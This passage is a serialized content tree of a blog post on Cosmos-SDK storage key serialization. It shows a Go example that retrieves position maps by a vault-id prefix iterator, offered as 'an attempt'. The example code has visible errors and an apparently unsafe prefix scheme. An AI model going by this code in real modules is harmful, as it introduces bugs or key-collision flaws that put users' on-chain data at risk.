],{"type":28,"value":82297},{"type":23,"tag":481,"props":85443,"children":85444},{"style":525},[85445],{"type":28,"value":1033},{"type":23,"tag":481,"props":85447,"children":85448},{"class":483,"line":21277},[85449,85453,85457,85461,85465,85469,85473,85477],{"type":23,"tag":481,"props":85450,"children":85451},{"style":508},[85452],{"type":28,"value":84003},{"type":23,"tag":481,"props":85454,"children":85455},{"style":525},[85456],{"type":28,"value":199},{"type":23,"tag":481,"props":85458,"children":85459},{"style":610},[85460],{"type":28,"value":83133},{"type":23,"tag":481,"props":85462,"children":85463},{"style":525},[85464],{"type":28,"value":618},{"type":23,"tag":481,"props":85466,"children":85467},{"style":610},[85468],{"type":28,"value":6621},{"type":23,"tag":481,"props":85470,"children":85471},{"style":525},[85472],{"type":28,"value":618},{"type":23,"tag":481,"props":85474,"children":85475},{"style":508},[85476],{"type":28,"value":83003},{"type":23,"tag":481,"props":85478,"children":85479},{"style":525},[85480],{"type":28,"value":83154},{"type":23,"tag":481,"props":85482,"children":85483},{"class":483,"line":21285},[85484],{"type":23,"tag":481,"props":85485,"children":85486},{"style":525},[85487],{"type":28,"value":21429},{"type":23,"tag":481,"props":85489,"children":85490},{"class":483,"line":21293},[85491,85495,85499,85503,85507,85511,85515,85519],{"type":23,"tag":481,"props":85492,"children":85493},{"style":508},[85494],{"type":28,"value":83124},{"type":23,"tag":481,"props":85496,"children":85497},{"style":525},[85498],{"type":28,"value":199},{"type":23,"tag":481,"props":85500,"children":85501},{"style":610},[85502],{"type":28,"value":83178},{"type":23,"tag":481,"props":85504,"children":85505},{"style":525},[85506],{"type":28,"value":618},{"type":23,"tag":481,"props":85508,"children":85509},{"style":508},[85510],{"type":28,"value":83087},{"type":23,"tag":481,"props":85512,"children":85513},{"style":525},[85514],{"type":28,"value":588},{"type":23,"tag":481,"props":85516,"children":85517},{"style":508},[85518],{"type":28,"value":83003},{"type":23,"tag":481,"props":85520,"children":85521},{"style":525},[85522],{"type":28,"value":675},{"type":23,"tag":481,"props":85524,"children":85525},{"class":483,"line":21330},[85526],{"type":23,"tag":481,"props":85527,"children":85528},{"emptyLinePlaceholder":15},[85529],{"type":28,"value":1210},{"type":23,"tag":481,"props":85531,"children":85532},{"class":483,"line":21343},[85533,85537,85541,85545],{"type":23,"tag":481,"props":85534,"children":85535},{"style":508},[85536],{"type":28,"value":84530},{"type":23,"tag":481,"props":85538,"children":85539},{"style":514},[85540],{"type":28,"value":73948},{"type":23,"tag":481,"props":85542,"children":85543},{"style":610},[85544],{"type":28,"value":83096},{"type":23,"tag":481,"props":85546,"children":85547},{"style":525},[85548],{"type":28,"value":988},{"type":23,"tag":481,"props":85550,"children":85551},{"class":483,"line":21356},[85552,85556,85560],{"type":23,"tag":481,"props":85553,"children":85554},{"style":525},[85555],{"type":28,"value":83987},{"type":23,"tag":481,"props":85557,"children":85558},{"style":943},[85559],{"type":28,"value":82297},{"type":23,"tag":481,"props":85561,"children":85562},{"style":525},[85563],{"type":28,"value":1033},{"type":23,"tag":481,"props":85565,"children":85566},{"class":483,"line":21369},[85567,85571,85575,85579,85583,85587,85591,85595],{"type":23,"tag":481,"props":85568,"children":85569},{"style":508},[85570],{"type":28,"value":84003},{"type":23,"tag":481,"props":85572,"children":85573},{"style":525},[85574],{"type":28,"value":199},{"type":23,"tag":481,"props":85576,"children":85577},{"style":610},[85578],{"type":28,"value":83133},{"type":23,"tag":481,"props":85580,"children":85581},{"style":525},[85582],{"type":28,"value":618},{"type":23,"tag":481,"props":85584,"children":85585},{"style":610},[85586],{"type":28,"value":6621},{"type":23,"tag":481,"props":85588,"children":85589},{"style":525},[85590],{"type":28,"value":618},{"type":23,"tag":481,"props":85592,"children":85593},{"style":508},[85594],{"type":28,"value":84373},{"type":23,"tag":481,"props":85596,"children":85597},{"style":525},[85598],{"type":28,"value":83154},{"type":23,"tag":481,"props":85600,"children":85601},{"class":483,"line":21423},[85602],{"type":23,"tag":481,"props":85603,"children":85604},{"style":525},[85605],{"type":28,"value":21429},{"type":23,"tag":481,"props":85607,"children":85608},{"class":483,"line":21432},[85609,85613,85617,85621,85625,85629,85633,85637],{"type":23,"tag":481,"props":85610,"children":85611},{"style":508},[85612],{"type":28,"value":83124},{"type":23,"tag":481,"props":85614,"children":85615},{"style":525},[85616],{"type":28,"value":199},{"type":23,"tag":481,"props":85618,"children":85619},{"style":610},[85620],{"type":28,"value":83178},{"type":23,"tag":481,"props":85622,"children":85623},{"style":525},[85624],{"type":28,"value":618},{"type":23,"tag":481,"props":85626,"children":85627},{"style":508},[85628],{"type":28,"value":84623},{"type":23,"tag":481,"props":85630,"children":85631},{"style":525},[85632],{"type":28,"value":588},{"type":23,"tag":481,"props":85634,"children":85635},{"style":508},[85636],{"type":28,"value":84373},{"type":23,"tag":481,"props":85638,"children":85639},{"style":525},[85640],{"type":28,"value":675},{"type":23,"tag":481,"props":85642,"children":85643},{"class":483,"line":29796},[85644],{"type":23,"tag":481,"props":85645,"children":85646},{"emptyLinePlaceholder":15},[85647],{"type":28,"value":1210},{"type":23,"tag":481,"props":85649,"children":85650},{"class":483,"line":29817},[85651,85655,85659,85663,85667,85671],{"type":23,"tag":481,"props":85652,"children":85653},{"style":508},[85654],{"type":28,"value":84207},{"type":23,"tag":481,"props":85656,"children":85657},{"style":514},[85658],{"type":28,"value":73948},{"type":23,"tag":481,"props":85660,"children":85661},{"style":508},[85662],{"type":28,"value":79766},{"type":23,"tag":481,"props":85664,"children":85665},{"style":525},[85666],{"type":28,"value":199},{"type":23,"tag":481,"props":85668,"children":85669},{"style":610},[85670],{"type":28,"value":82755},{"type":23,"tag":481,"props":85672,"children":85673},{"style":525},[85674],{"type":28,"value":988},{"type":23,"tag":481,"props":85676,"children":85677},{"class":483,"line":78483},[85678,85682],{"type":23,"tag":481,"props":85679,"children":85680},{"style":1805},[85681],{"type":28,"value":85232},{"type":23,"tag":481,"props":85683,"children":85684},{"style":525},[85685],{"type":28,"value":1033},{"type":23,"tag":481,"props":85687,"children":85688},{"class":483,"line":78496},[85689,85694],{"type":23,"tag":481,"props":85690,"children":85691},{"style":508},[85692],{"type":28,"value":85693}," AddressMapPrefix",{"type":23,"tag":481,"props":85695,"children":85696},{"style":525},[85697],{"type":28,"value":1033},{"type":23,"tag":481,"props":85699,"children":85700},{"class":483,"line":78504},[85701,85705],{"type":23,"tag":481,"props":85702,"children":85703},{"style":508},[85704],{"type":28,"value":84247},{"type":23,"tag":481,"props":85706,"children":85707},{"style":525},[85708],{"type":28,"value":1033},{"type":23,"tag":481,"props":85710,"children":85711},{"class":483,"line":78512},[85712,85716],{"type":23,"tag":481,"props":85713,"children":85714},{"style":508},[85715],{"type":28,"value":84259},{"type":23,"tag":481,"props":85717,"children":85718},{"style":525},[85719],{"type":28,"value":1033},{"type":23,"tag":481,"props":85721,"children":85722},{"class":483,"line":78520},[85723,85727],{"type":23,"tag":481,"props":85724,"children":85725},{"style":508},[85726],{"type":28,"value":84271},{"type":23,"tag":481,"props":85728,"children":85729},{"style":525},[85730],{"type":28,"value":1033},{"type":23,"tag":481,"props":85732,"children":85733},{"class":483,"line":78560},[85734,85738],{"type":23,"tag":481,"props":85735,"children":85736},{"style":508},[85737],{"type":28,"value":84259},{"type":23,"tag":481,"props":85739,"children":85740},{"style":525},[85741],{"type":28,"value":1033},{"type":23,"tag":481,"props":85743,"children":85744},{"class":483,"line":78568},[85745,85749],{"type":23,"tag":481,"props":85746,"children":85747},{"style":508},[85748],{"type":28,"value":84732},{"type":23,"tag":481,"props":85750,"children":85751},{"style":525},[85752],{"type":28,"value":1033},{"type":23,"tag":481,"props":85754,"children":85756},{"class":483,"line":85755},60,[85757],{"type":23,"tag":481,"props":85758,"children":85759},{"style":525},[85760],{"type":28,"value":21429},{"type":23,"tag":481,"props":85762,"children":85764},{"class":483,"line":85763},61,[85765],{"type":23,"tag":481,"props":85766,"children":85767},{"style":525},[85768],{"type":28,"value":1443},{"type":23,"tag":24,"props":85770,"children":85771},{},[85772],{"type":28,"value":85773},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":24,"props":85775,"children":85776},{},[85777,85779,85784],{"type":28,"value":85778},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":64,"props":85780,"children":85782},{"className":85781},[],[85783],{"type":28,"value":64631},{"type":28,"value":85785},", data should still be retrievable through original keys.",{"type":23,"tag":24,"props":85787,"children":85788},{},[85789,85791,85797,85799,85804],{"type":28,"value":85790},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":64,"props":85792,"children":85794},{"className":85793},[],[85795],{"type":28,"value":85796},"map[Username]map[PositionName]Position",{"type":28,"value":85798}," associated with a ",{"type":23,"tag":64,"props":85800,"children":85802},{"className":85801},[],[85803],{"type":28,"value":82667},{"type":28,"value":85805}," from the storage. How can we safely accomplish this?",{"type":23,"tag":24,"props":85807,"children":85808},{},[85809,85811,85816,85818,85824],{"type":28,"value":85810},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":64,"props":85812,"children":85814},{"className":85813},[],[85815],{"type":28,"value":82738},{"type":28,"value":85817}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":64,"props":85819,"children":85821},{"className":85820},[],[85822],{"type":28,"value":85823},"vaultId",{"type":28,"value":287},{"type":23,"tag":435,"props":85826,"children":85828},{"code":85827,"language":73696,"meta":7,"className":73697,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[85829],{"type":23,"tag":64,"props":85830,"children":85831},{"__ignoreMap":7},[85832,85848,85863,85912,85964,85993,86005,86051,86058,86104,86159,86166,86230,86291,86314,86333,86340,86347,86407,86466,86489,86508,86515,86522,86575,86623,86630,86637,86677,86706,86713,86720,86732],{"type":23,"tag":481,"props":85833,"children":85834},{"class":483,"line":484},[85835,85839,85844],{"type":23,"tag":481,"props":85836,"children":85837},{"style":497},[85838],{"type":28,"value":73832},{"type":23,"tag":481,"props":85840,"children":85841},{"style":610},[85842],{"type":28,"value":85843}," FetchPositionMapWithVaultId",{"type":23,"tag":481,"props":85845,"children":85846},{"style":525},[85847],{"type":28,"value":988},{"type":23,"tag":481,"props":85849,"children":85850},{"class":483,"line":351},[85851,85855,85859],{"type":23,"tag":481,"props":85852,"children":85853},{"style":508},[85854],{"type":28,"value":82779},{"type":23,"tag":481,"props":85856,"children":85857},{"style":943},[85858],{"type":28,"value":73953},{"type":23,"tag":481,"props":85860,"children":85861},{"style":525},[85862],{"type":28,"value":1033},{"type":23,"tag":481,"props":85864,"children":85865},{"class":483,"line":531},[85866,85871,85875,85879,85883,85887,85891,85895,85899,85903,85908],{"type":23,"tag":481,"props":85867,"children":85868},{"style":525},[85869],{"type":28,"value":85870},") ([]",{"type":23,"tag":481,"props":85872,"children":85873},{"style":497},[85874],{"type":28,"value":64631},{"type":23,"tag":481,"props":85876,"children":85877},{"style":525},[85878],{"type":28,"value":1269},{"type":23,"tag":481,"props":85880,"children":85881},{"style":943},[85882],{"type":28,"value":82684},{"type":23,"tag":481,"props":85884,"children":85885},{"style":525},[85886],{"type":28,"value":12900},{"type":23,"tag":481,"props":85888,"children":85889},{"style":497},[85890],{"type":28,"value":64631},{"type":23,"tag":481,"props":85892,"children":85893},{"style":525},[85894],{"type":28,"value":1269},{"type":23,"tag":481,"props":85896,"children":85897},{"style":943},[85898],{"type":28,"value":82701},{"type":23,"tag":481,"props":85900,"children":85901},{"style":525},[85902],{"type":28,"value":12900},{"type":23,"tag":481,"props":85904,"children":85905},{"style":943},[85906],{"type":28,"value":85907},"Position",{"type":23,"tag":481,"props":85909,"children":85910},{"style":525},[85911],{"type":28,"value":12292},{"type":23,"tag":481,"props":85913,"children":85914},{"class":483,"line":567},[85915,85920,85924,85928,85932,85936,85940,85944,85948,85952,85956,85960],{"type":23,"tag":481,"props":85916,"children":85917},{"style":508},[85918],{"type":28,"value":85919}," values",{"type":23,"tag":481,"props":85921,"children":85922},{"style":514},[85923],{"type":28,"value":73948},{"type":23,"tag":481,"props":85925,"children":85926},{"style":497},[85927],{"type":28,"value":47194},{"type":23,"tag":481,"props":85929,"children":85930},{"style":525},[85931],{"type":28,"value":1269},{"type":23,"tag":481,"props":85933,"children":85934},{"style":943},[85935],{"type":28,"value":82684},{"type":23,"tag":481,"props":85937,"children":85938},{"style":525},[85939],{"type":28,"value":12900},{"type":23,"tag":481,"props":85941,"children":85942},{"style":497},[85943],{"type":28,"value":64631},{"type":23,"tag":481,"props":85945,"children":85946},{"style":525},[85947],{"type":28,"value":1269},{"type":23,"tag":481,"props":85949,"children":85950},{"style":943},[85951],{"type":28,"value":82701},{"type":23,"tag":481,"props":85953,"children":85954},{"style":525},[85955],{"type":28,"value":12900},{"type":23,"tag":481,"props":85957,"children":85958},{"style":943},[85959],{"type":28,"value":85907},{"type":23,"tag":481,"props":85961,"children":85962},{"style":525},[85963],{"type":28,"value":75629},{"type":23,"tag":481,"props":85965,"children":85966},{"class":483,"line":678},[85967,85972,85976,85980,85984,85989],{"type":23,"tag":481,"props":85968,"children":85969},{"style":508},[85970],{"type":28,"value":85971}," i",{"type":23,"tag":481,"props":85973,"children":85974},{"style":514},[85975],{"type":28,"value":73948},{"type":23,"tag":481,"props":85977,"children":85978},{"style":508},[85979],{"type":28,"value":76173},{"type":23,"tag":481,"props":85981,"children":85982},{"style":525},[85983],{"type":28,"value":199},{"type":23,"tag":481,"props":85985,"children":85986},{"style":610},[85987],{"type":28,"value":85988},"KVStorePrefixIterator",{"type":23,"tag":481,"props":85990,"children":85991},{"style":525},[85992],{"type":28,"value":988},{"type":23,"tag":481,"props":85994,"children":85995},{"class":483,"line":784},[85996,86001],{"type":23,"tag":481,"props":85997,"children":85998},{"style":508},[85999],{"type":28,"value":86000}," kvStore",{"type":23,"tag":481,"props":86002,"children":86003},{"style":525},[86004],{"type":28,"value":1033},{"type":23,"tag":481,"props":86006,"children":86007},{"class":483,"line":812},[86008,86013,86017,86021,86025,86030,86034,86039,86043,86047],{"type":23,"tag":481,"props":86009,"children":86010},{"style":508},[86011],{"type":28,"value":86012}," fmt",{"type":23,"tag":481,"props":86014,"children":86015},{"style":525},[86016],{"type":28,"value":199},{"type":23,"tag":481,"props":86018,"children":86019},{"style":610},[86020],{"type":28,"value":82755},{"type":23,"tag":481,"props":86022,"children":86023},{"style":525},[86024],{"type":28,"value":618},{"type":23,"tag":481,"props":86026,"children":86027},{"style":1805},[86028],{"type":28,"value":86029},"\"%s%d\"",{"type":23,"tag":481,"props":86031,"children":86032},{"style":525},[86033],{"type":28,"value":588},{"type":23,"tag":481,"props":86035,"children":86036},{"style":508},[86037],{"type":28,"value":86038},"PositionMapPrefix",{"type":23,"tag":481,"props":86040,"children":86041},{"style":525},[86042],{"type":28,"value":588},{"type":23,"tag":481,"props":86044,"children":86045},{"style":508},[86046],{"type":28,"value":85823},{"type":23,"tag":481,"props":86048,"children":86049},{"style":525},[86050],{"type":28,"value":675},{"type":23,"tag":481,"props":86052,"children":86053},{"class":483,"line":825},[86054],{"type":23,"tag":481,"props":86055,"children":86056},{"style":525},[86057],{"type":28,"value":21429},{"type":23,"tag":481,"props":86059,"children":86060},{"class":483,"line":843},[86061,86065,86070,86074,86078,86083,86087,86091,86095,86100],{"type":23,"tag":481,"props":86062,"children":86063},{"style":535},[86064],{"type":28,"value":538},{"type":23,"tag":481,"props":86066,"children":86067},{"style":525},[86068],{"type":28,"value":86069}," ; ",{"type":23,"tag":481,"props":86071,"children":86072},{"style":508},[86073],{"type":28,"value":1274},{"type":23,"tag":481,"props":86075,"children":86076},{"style":525},[86077],{"type":28,"value":199},{"type":23,"tag":481,"props":86079,"children":86080},{"style":610},[86081],{"type":28,"value":86082},"Valid",{"type":23,"tag":481,"props":86084,"children":86085},{"style":525},[86086],{"type":28,"value":25960},{"type":23,"tag":481,"props":86088,"children":86089},{"style":508},[86090],{"type":28,"value":1274},{"type":23,"tag":481,"props":86092,"children":86093},{"style":525},[86094],{"type":28,"value":199},{"type":23,"tag":481,"props":86096,"children":86097},{"style":610},[86098],{"type":28,"value":86099},"Next",{"type":23,"tag":481,"props":86101,"children":86102},{"style":525},[86103],{"type":28,"value":13226},{"type":23,"tag":481,"props":86105,"children":86106},{"class":483,"line":864},[86107,86112,86116,86121,86125,86129,86133,86137,86141,86146,86150,86155],{"type":23,"tag":481,"props":86108,"children":86109},{"style":508},[86110],{"type":28,"value":86111}," k",{"type":23,"tag":481,"props":86113,"children":86114},{"style":514},[86115],{"type":28,"value":73948},{"type":23,"tag":481,"props":86117,"children":86118},{"style":508},[86119],{"type":28,"value":86120}," strings",{"type":23,"tag":481,"props":86122,"children":86123},{"style":525},[86124],{"type":28,"value":199},{"type":23,"tag":481,"props":86126,"children":86127},{"style":610},[86128],{"type":28,"value":67572},{"type":23,"tag":481,"props":86130,"children":86131},{"style":525},[86132],{"type":28,"value":618},{"type":23,"tag":481,"props":86134,"children":86135},{"style":508},[86136],{"type":28,"value":1274},{"type":23,"tag":481,"props":86138,"children":86139},{"style":525},[86140],{"type":28,"value":199},{"type":23,"tag":481,"props":86142,"children":86143},{"style":610},[86144],{"type":28,"value":86145},"Key",{"type":23,"tag":481,"props":86147,"children":86148},{"style":525},[86149],{"type":28,"value":15869},{"type":23,"tag":481,"props":86151,"children":86152},{"style":508},[86153],{"type":28,"value":86154},"Seperator",{"type":23,"tag":481,"props":86156,"children":86157},{"style":525},[86158],{"type":28,"value":675},{"type":23,"tag":481,"props":86160,"children":86161},{"class":483,"line":873},[86162],{"type":23,"tag":481,"props":86163,"children":86164},{"emptyLinePlaceholder":15},[86165],{"type":28,"value":1210},{"type":23,"tag":481,"props":86167,"children":86168},{"class":483,"line":1125},[86169,86174,86178,86182,86187,86191,86195,86199,86203,86208,86212,86217,86221,86225],{"type":23,"tag":481,"props":86170,"children":86171},{"style":508},[86172],{"type":28,"value":86173}," username",{"type":23,"tag":481,"props":86175,"children":86176},{"style":514},[86177],{"type":28,"value":73948},{"type":23,"tag":481,"props":86179,"children":86180},{"style":610},[86181],{"type":28,"value":83096},{"type":23,"tag":481,"props":86183,"children":86184},{"style":525},[86185],{"type":28,"value":86186},"([]",{"type":23,"tag":481,"props":86188,"children":86189},{"style":943},[86190],{"type":28,"value":82297},{"type":23,"tag":481,"props":86192,"children":86193},{"style":525},[86194],{"type":28,"value":588},{"type":23,"tag":481,"props":86196,"children":86197},{"style":508},[86198],{"type":28,"value":83169},{"type":23,"tag":481,"props":86200,"children":86201},{"style":525},[86202],{"type":28,"value":199},{"type":23,"tag":481,"props":86204,"children":86205},{"style":610},[86206],{"type":28,"value":86207},"DecodedLen",{"type":23,"tag":481,"props":86209,"children":86210},{"style":525},[86211],{"type":28,"value":618},{"type":23,"tag":481,"props":86213,"children":86214},{"style":508},[86215],{"type":28,"value":86216},"k",{"type":23,"tag":481,"props":86218,"children":86219},{"style":525},[86220],{"type":28,"value":1269},{"type":23,"tag":481,"props":86222,"children":86223},{"style":551},[86224],{"type":28,"value":1568},{"type":23,"tag":481,"props":86226,"children":86227},{"style":525},[86228],{"type":28,"value":86229},"]))\n",{"type":23,"tag":481,"props":86231,"children":86232},{"class":483,"line":1142},[86233,86237,86241,86245,86249,86254,86258,86263,86267,86271,86275,86279,86283,86287],{"type":23,"tag":481,"props":86234,"children":86235},{"style":508},[86236],{"type":28,"value":25259},{"type":23,"tag":481,"props":86238,"children":86239},{"style":525},[86240],{"type":28,"value":588},{"type":23,"tag":481,"props":86242,"children":86243},{"style":508},[86244],{"type":28,"value":45945},{"type":23,"tag":481,"props":86246,"children":86247},{"style":514},[86248],{"type":28,"value":73948},{"type":23,"tag":481,"props":86250,"children":86251},{"style":508},[86252],{"type":28,"value":86253}," hex",{"type":23,"tag":481,"props":86255,"children":86256},{"style":525},[86257],{"type":28,"value":199},{"type":23,"tag":481,"props":86259,"children":86260},{"style":610},[86261],{"type":28,"value":86262},"Decode",{"type":23,"tag":481,"props":86264,"children":86265},{"style":525},[86266],{"type":28,"value":618},{"type":23,"tag":481,"props":86268,"children":86269},{"style":508},[86270],{"type":28,"value":83003},{"type":23,"tag":481,"props":86272,"children":86273},{"style":525},[86274],{"type":28,"value":588},{"type":23,"tag":481,"props":86276,"children":86277},{"style":508},[86278],{"type":28,"value":86216},{"type":23,"tag":481,"props":86280,"children":86281},{"style":525},[86282],{"type":28,"value":1269},{"type":23,"tag":481,"props":86284,"children":86285},{"style":551},[86286],{"type":28,"value":1568},{"type":23,"tag":481,"props":86288,"children":86289},{"style":525},[86290],{"type":28,"value":52967},{"type":23,"tag":481,"props":86292,"children":86293},{"class":483,"line":1159},[86294,86298,86302,86306,86310],{"type":23,"tag":481,"props":86295,"children":86296},{"style":535},[86297],{"type":28,"value":790},{"type":23,"tag":481,"props":86299,"children":86300},{"style":508},[86301],{"type":28,"value":46046},{"type":23,"tag":481,"props":86303,"children":86304},{"style":514},[86305],{"type":28,"value":61915},{"type":23,"tag":481,"props":86307,"children":86308},{"style":497},[86309],{"type":28,"value":79450},{"type":23,"tag":481,"props":86311,"children":86312},{"style":525},[86313],{"type":28,"value":809},{"type":23,"tag":481,"props":86315,"children":86316},{"class":483,"line":1172},[86317,86321,86325,86329],{"type":23,"tag":481,"props":86318,"children":86319},{"style":535},[86320],{"type":28,"value":76608},{"type":23,"tag":481,"props":86322,"children":86323},{"style":497},[86324],{"type":28,"value":79450},{"type":23,"tag":481,"props":86326,"children":86327},{"style":525},[86328],{"type":28,"value":588},{"type":23,"tag":481,"props":86330,"children":86331},{"style":508},[86332],{"type":28,"value":81171},{"type":23,"tag":481,"props":86334,"children":86335},{"class":483,"line":1181},[86336],{"type":23,"tag":481,"props":86337,"children":86338},{"style":525},[86339],{"type":28,"value":870},{"type":23,"tag":481,"props":86341,"children":86342},{"class":483,"line":1204},[86343],{"type":23,"tag":481,"props":86344,"children":86345},{"emptyLinePlaceholder":15},[86346],{"type":28,"value":1210},{"type":23,"tag":481,"props":86348,"children":86349},{"class":483,"line":1213},[86350,86355,86359,86363,86367,86371,86375,86379,86383,86387,86391,86395,86399,86403],{"type":23,"tag":481,"props":86351,"children":86352},{"style":508},[86353],{"type":28,"value":86354}," positionName",{"type":23,"tag":481,"props":86356,"children":86357},{"style":514},[86358],{"type":28,"value":73948},{"type":23,"tag":481,"props":86360,"children":86361},{"style":610},[86362],{"type":28,"value":83096},{"type":23,"tag":481,"props":86364,"children":86365},{"style":525},[86366],{"type":28,"value":86186},{"type":23,"tag":481,"props":86368,"children":86369},{"style":943},[86370],{"type":28,"value":82297},{"type":23,"tag":481,"props":86372,"children":86373},{"style":525},[86374],{"type":28,"value":588},{"type":23,"tag":481,"props":86376,"children":86377},{"style":508},[86378],{"type":28,"value":83169},{"type":23,"tag":481,"props":86380,"children":86381},{"style":525},[86382],{"type":28,"value":199},{"type":23,"tag":481,"props":86384,"children":86385},{"style":610},[86386],{"type":28,"value":86207},{"type":23,"tag":481,"props":86388,"children":86389},{"style":525},[86390],{"type":28,"value":618},{"type":23,"tag":481,"props":86392,"children":86393},{"style":508},[86394],{"type":28,"value":86216},{"type":23,"tag":481,"props":86396,"children":86397},{"style":525},[86398],{"type":28,"value":1269},{"type":23,"tag":481,"props":86400,"children":86401},{"style":551},[86402],{"type":28,"value":1558},{"type":23,"tag":481,"props":86404,"children":86405},{"style":525},[86406],{"type":28,"value":86229},{"type":23,"tag":481,"props":86408,"children":86409},{"class":483,"line":1222},[86410,86414,86418,86422,86426,86430,86434,86438,86442,86446,86450,86454,86458,86462],{"type":23,"tag":481,"props":86411,"children":86412},{"style":508},[86413],{"type":28,"value":25259},{"type":23,"tag":481,"props":86415,"children":86416},{"style":525},[86417],{"type":28,"value":588},{"type":23,"tag":481,"props":86419,"children":86420},{"style":508},[86421],{"type":28,"value":45945},{"type":23,"tag":481,"props":86423,"children":86424},{"style":514},[86425],{"type":28,"value":73948},{"type":23,"tag":481,"props":86427,"children":86428},{"style":508},[86429],{"type":28,"value":86253},{"type":23,"tag":481,"props":86431,"children":86432},{"style":525},[86433],{"type":28,"value":199},{"type":23,"tag":481,"props":86435,"children":86436},{"style":610},[86437],{"type":28,"value":86262},{"type":23,"tag":481,"props":86439,"children":86440},{"style":525},[86441],{"type":28,"value":618},{"type":23,"tag":481,"props":86443,"children":86444},{"style":508},[86445],{"type":28,"value":83272},{"type":23,"tag":481,"props":86447,"children":86448},{"style":525},[86449],{"type":28,"value":588},{"type":23,"tag":481,"props":86451,"children":86452},{"style":508},[86453],{"type":28,"value":86216},{"type":23,"tag":481,"props":86455,"children":86456},{"style":525},[86457],{"type":28,"value":1269},{"type":23,"tag":481,"props":86459,"children":86460},{"style":551},[86461],{"type":28,"value":1558},{"type":23,"tag":481,"props":86463,"children":86464},{"style":525},[86465],{"type":28,"value":52967},{"type":23,"tag":481,"props":86467,"children":86468},{"class":483,"line":1291},[86469,86473,86477,86481,86485],{"type":23,"tag":481,"props":86470,"children":86471},{"style":535},[86472],{"type":28,"value":790},{"type":23,"tag":481,"props":86474,"children":86475},{"style":508},[86476],{"type":28,"value":46046},{"type":23,"tag":481,"props":86478,"children":86479},{"style":514},[86480],{"type":28,"value":61915},{"type":23,"tag":481,"props":86482,"children":86483},{"style":497},[86484],{"type":28,"value":79450},{"type":23,"tag":481,"props":86486,"children":86487},{"style":525},[86488],{"type":28,"value":809},{"type":23,"tag":481,"props":86490,"children":86491},{"class":483,"line":1299},[86492,86496,86500,86504],{"type":23,"tag":481,"props":86493,"children":86494},{"style":535},[86495],{"type":28,"value":76608},{"type":23,"tag":481,"props":86497,"children":86498},{"style":497},[86499],{"type":28,"value":79450},{"type":23,"tag":481,"props":86501,"children":86502},{"style":525},[86503],{"type":28,"value":588},{"type":23,"tag":481,"props":86505,"children":86506},{"style":508},[86507],{"type":28,"value":81171},{"type":23,"tag":481,"props":86509,"children":86510},{"class":483,"line":1329},[86511],{"type":23,"tag":481,"props":86512,"children":86513},{"style":525},[86514],{"type":28,"value":870},{"type":23,"tag":481,"props":86516,"children":86517},{"class":483,"line":1337},[86518],{"type":23,"tag":481,"props":86519,"children":86520},{"emptyLinePlaceholder":15},[86521],{"type":28,"value":1210},{"type":23,"tag":481,"props":86523,"children":86524},{"class":483,"line":1369},[86525,86529,86533,86537,86541,86545,86550,86554,86558,86563,86567,86571],{"type":23,"tag":481,"props":86526,"children":86527},{"style":535},[86528],{"type":28,"value":790},{"type":23,"tag":481,"props":86530,"children":86531},{"style":508},[86532],{"type":28,"value":60170},{"type":23,"tag":481,"props":86534,"children":86535},{"style":525},[86536],{"type":28,"value":588},{"type":23,"tag":481,"props":86538,"children":86539},{"style":508},[86540],{"type":28,"value":76299},{"type":23,"tag":481,"props":86542,"children":86543},{"style":514},[86544],{"type":28,"value":73948},{"type":23,"tag":481,"props":86546,"children":86547},{"style":508},[86548],{"type":28,"value":86549}," values",{"type":23,"tag":481,"props":86551,"children":86552},{"style":525},[86553],{"type":28,"value":1269},{"type":23,"tag":481,"props":86555,"children":86556},{"style":508},[86557],{"type":28,"value":83003},{"type":23,"tag":481,"props":86559,"children":86560},{"style":525},[86561],{"type":28,"value":86562},"]; ",{"type":23,"tag":481,"props":86564,"children":86565},{"style":514},[86566],{"type":28,"value":18119},{"type":23,"tag":481,"props":86568,"children":86569},{"style":508},[86570],{"type":28,"value":76299},{"type":23,"tag":481,"props":86572,"children":86573},{"style":525},[86574],{"type":28,"value":809},{"type":23,"tag":481,"props":86576,"children":86577},{"class":483,"line":1377},[86578,86583,86587,86591,86595,86599,86603,86607,86611,86615,86619],{"type":23,"tag":481,"props":86579,"children":86580},{"style":508},[86581],{"type":28,"value":86582}," values",{"type":23,"tag":481,"props":86584,"children":86585},{"style":525},[86586],{"type":28,"value":1269},{"type":23,"tag":481,"props":86588,"children":86589},{"style":508},[86590],{"type":28,"value":83003},{"type":23,"tag":481,"props":86592,"children":86593},{"style":525},[86594],{"type":28,"value":6141},{"type":23,"tag":481,"props":86596,"children":86597},{"style":514},[86598],{"type":28,"value":603},{"type":23,"tag":481,"props":86600,"children":86601},{"style":610},[86602],{"type":28,"value":83096},{"type":23,"tag":481,"props":86604,"children":86605},{"style":525},[86606],{"type":28,"value":618},{"type":23,"tag":481,"props":86608,"children":86609},{"style":497},[86610],{"type":28,"value":64631},{"type":23,"tag":481,"props":86612,"children":86613},{"style":525},[86614],{"type":28,"value":1269},{"type":23,"tag":481,"props":86616,"children":86617},{"style":943},[86618],{"type":28,"value":82701},{"type":23,"tag":481,"props":86620,"children":86621},{"style":525},[86622],{"type":28,"value":52967},{"type":23,"tag":481,"props":86624,"children":86625},{"class":483,"line":1437},[86626],{"type":23,"tag":481,"props":86627,"children":86628},{"style":525},[86629],{"type":28,"value":870},{"type":23,"tag":481,"props":86631,"children":86632},{"class":483,"line":6528},[86633],{"type":23,"tag":481,"props":86634,"children":86635},{"emptyLinePlaceholder":15},[86636],{"type":28,"value":1210},{"type":23,"tag":481,"props":86638,"children":86639},{"class":483,"line":6546},[86640,8